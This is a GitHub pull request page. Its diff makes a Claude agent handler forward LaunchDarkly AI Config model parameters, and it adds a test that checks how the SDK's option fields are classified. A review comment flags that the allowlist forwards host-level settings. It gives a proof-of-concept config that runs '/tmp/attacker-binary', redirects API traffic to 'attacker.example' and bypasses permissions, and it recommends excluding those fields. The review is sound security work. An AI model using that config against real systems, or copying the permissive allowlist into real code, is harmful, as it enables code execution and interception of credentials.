-
Notifications
You must be signed in to change notification settings - Fork 0
fix: pass AI Config model parameters through to every provider handler #107
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
9ad50a5
beabd79
2e91885
d51199d
8144a3d
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -41,7 +41,9 @@ | |
| create_handler, | ||
| end_span_once, | ||
| end_unfinished_spans, | ||
| model_parameters, | ||
| parse_template, | ||
| select_forwarded_parameters, | ||
| set_conversation_id_if_absent, | ||
| set_input_content_attributes, | ||
| set_output_content_attributes, | ||
|
|
@@ -66,6 +68,64 @@ | |
| tool_display_name, | ||
| ) | ||
|
|
||
| #: Every field ``ClaudeAgentOptions`` declares, classified by hand into exactly one of: forwarded | ||
| #: (below), handler-owned (``model``, ``allowed_tools``, ``mcp_servers``, ``hooks``, ``tools``, | ||
| #: ``system_prompt``, popped after the filter runs, at each call site), or excluded | ||
| #: (``extra_args``, a raw CLI-argument escape hatch, is client/connection configuration and is never | ||
| #: forwarded). ``TestClaudeAgentOptionsAcceptsExactlyTheseFields`` in this package's tests asserts | ||
| #: this classification stays exhaustive as the SDK's own dataclass changes. | ||
| #: | ||
| #: The SDK offers no ``temperature``/``top_p``/``top_k``/``max_tokens``/``stop_sequences``/ | ||
| #: ``tool_choice``/``metadata``, all of which the LaunchDarkly UI's model parameters panel offers | ||
| #: for other providers; forwarding one of those unfiltered raised ``TypeError`` before this filter | ||
| #: existed. | ||
| _CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS = frozenset( | ||
| { | ||
| "add_dirs", | ||
| "agents", | ||
| "betas", | ||
| "can_use_tool", | ||
| "cli_path", | ||
| "continue_conversation", | ||
| "cwd", | ||
| "debug_stderr", | ||
| "disallowed_tools", | ||
| "effort", | ||
| "enable_file_checkpointing", | ||
| "env", | ||
| "fallback_model", | ||
| "fork_session", | ||
| "include_hook_events", | ||
| "include_partial_messages", | ||
| "load_timeout_ms", | ||
| "max_budget_usd", | ||
| "max_buffer_size", | ||
| "max_thinking_tokens", | ||
| "max_turns", | ||
| "output_format", | ||
| "permission_mode", | ||
| "permission_prompt_tool_name", | ||
| "plugins", | ||
| "resume", | ||
| "sandbox", | ||
| "session_id", | ||
| "session_store", | ||
| "session_store_flush", | ||
| "setting_sources", | ||
| "settings", | ||
| "skills", | ||
| "stderr", | ||
| "strict_mcp_config", | ||
| "task_budget", | ||
| "thinking", | ||
| "user", | ||
| } | ||
| ) | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Claude allowlist forwards host settingsHigh Severity
Additional Locations (1)Reviewed by Cursor Bugbot for commit 8144a3d. Configure here. |
||
|
|
||
| #: Named for the drift test and for review, not read at runtime: the forwarded list above already | ||
| #: leaves this out, so nothing needs to subtract it again. | ||
| _CLAUDE_AGENT_OPTIONS_EXCLUDED_KEYS = frozenset({"extra_args"}) | ||
|
|
||
| # --------------------------------------------------------------------------- | ||
| # Tool wiring | ||
| # --------------------------------------------------------------------------- | ||
|
|
@@ -479,7 +539,20 @@ def _build_query_options( | |
| **extra: Any, | ||
| ) -> ClaudeAgentOptions: | ||
| all_allowed = [*mcp_allowed_tools, *native_tool_names] | ||
| params = select_forwarded_parameters( | ||
| model_parameters(config), _CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS | ||
| ) | ||
| for _owned_key in ( | ||
| "model", | ||
| "allowed_tools", | ||
| "mcp_servers", | ||
| "hooks", | ||
| "tools", | ||
| "system_prompt", | ||
| ): | ||
| params.pop(_owned_key, None) | ||
| kwargs: dict[str, Any] = { | ||
| **params, | ||
|
cursor[bot] marked this conversation as resolved.
|
||
| "model": config["model"]["name"], | ||
| "allowed_tools": all_allowed if all_allowed else [], | ||
| "mcp_servers": {TOOL_MCP_NAME: tool_mcp} if tool_mcp else {}, | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,54 @@ | ||
| """ | ||
| Drift test for the ``ClaudeAgentOptions`` parameter classification in ``handler.py``. | ||
|
|
||
| ``_CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS`` is a literal, hand-maintained list. This test reads | ||
| ``ClaudeAgentOptions``'s own dataclass fields and asserts every field it declares is classified in | ||
| exactly one of forwarded, handler-owned, or excluded, so an SDK field nobody has classified yet | ||
| fails loudly by name, and so does a list entry that is not a real SDK field. | ||
| """ | ||
|
|
||
| from __future__ import annotations | ||
|
|
||
| import dataclasses | ||
|
|
||
| from claude_agent_sdk import ClaudeAgentOptions | ||
|
|
||
| from launchdarkly_ai_claude_agents.handler import ( | ||
| _CLAUDE_AGENT_OPTIONS_EXCLUDED_KEYS as _EXCLUDED_KEYS, | ||
| ) | ||
| from launchdarkly_ai_claude_agents.handler import _CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS | ||
|
|
||
| #: Handler-owned: popped from the filtered params before ``ClaudeAgentOptions(**kwargs)`` is | ||
| #: constructed, at every call site (``handler.py`` and ``native_graph.py``). | ||
| _OWNED_KEYS = frozenset( | ||
| {"model", "allowed_tools", "mcp_servers", "hooks", "tools", "system_prompt"} | ||
| ) | ||
|
|
||
|
|
||
| class TestClaudeAgentOptionsAcceptsExactlyTheseFields: | ||
| def test_every_field_is_classified_exactly_once(self) -> None: | ||
| accepted = frozenset(f.name for f in dataclasses.fields(ClaudeAgentOptions)) | ||
| classified = _CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS | _OWNED_KEYS | _EXCLUDED_KEYS | ||
|
|
||
| unclassified = accepted - classified | ||
| assert not unclassified, ( | ||
| f"ClaudeAgentOptions now declares {sorted(unclassified)}, not classified as " | ||
| "forwarded, handler-owned, or excluded in claude-agents handler.py" | ||
| ) | ||
|
|
||
| overlap = ( | ||
| (_CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS & _OWNED_KEYS) | ||
| | (_CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS & _EXCLUDED_KEYS) | ||
| | (_OWNED_KEYS & _EXCLUDED_KEYS) | ||
| ) | ||
| assert not overlap, f"fields classified more than once: {sorted(overlap)}" | ||
|
|
||
| def test_every_classified_field_is_real(self) -> None: | ||
| accepted = frozenset(f.name for f in dataclasses.fields(ClaudeAgentOptions)) | ||
| stale = ( | ||
| _CLAUDE_AGENT_OPTIONS_FORWARDED_KEYS | _OWNED_KEYS | _EXCLUDED_KEYS | ||
| ) - accepted | ||
| assert not stale, ( | ||
| f"{sorted(stale)} classified in claude-agents handler.py but " | ||
| "ClaudeAgentOptions does not declare them" | ||
| ) |


There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These are settings for the host process, not for the model. Reproduced at d51199d: with
model.parametersset to{cli_path: "/tmp/attacker-binary", env: {ANTHROPIC_BASE_URL: "https://attacker.example"}, permission_mode: "bypassPermissions", add_dirs: ["/"]},_build_query_optionspasses all of them through, andSubprocessCLITransport._build_command()[0]is/tmp/attacker-binary.I'd suggest keeping only model and run settings here (
max_turns,max_thinking_tokens,thinking,effort,max_budget_usd,fallback_model,output_format,betas) and movingcli_path,env,cwd,add_dirs,permission_mode,settings,setting_sources,plugins,sandbox,resume,session_id,fork_session,continue_conversationand the callable / object fields (can_use_tool,stderr,session_store, ...) to excluded. A test like the one above, run against the excluded list, would keep it that way.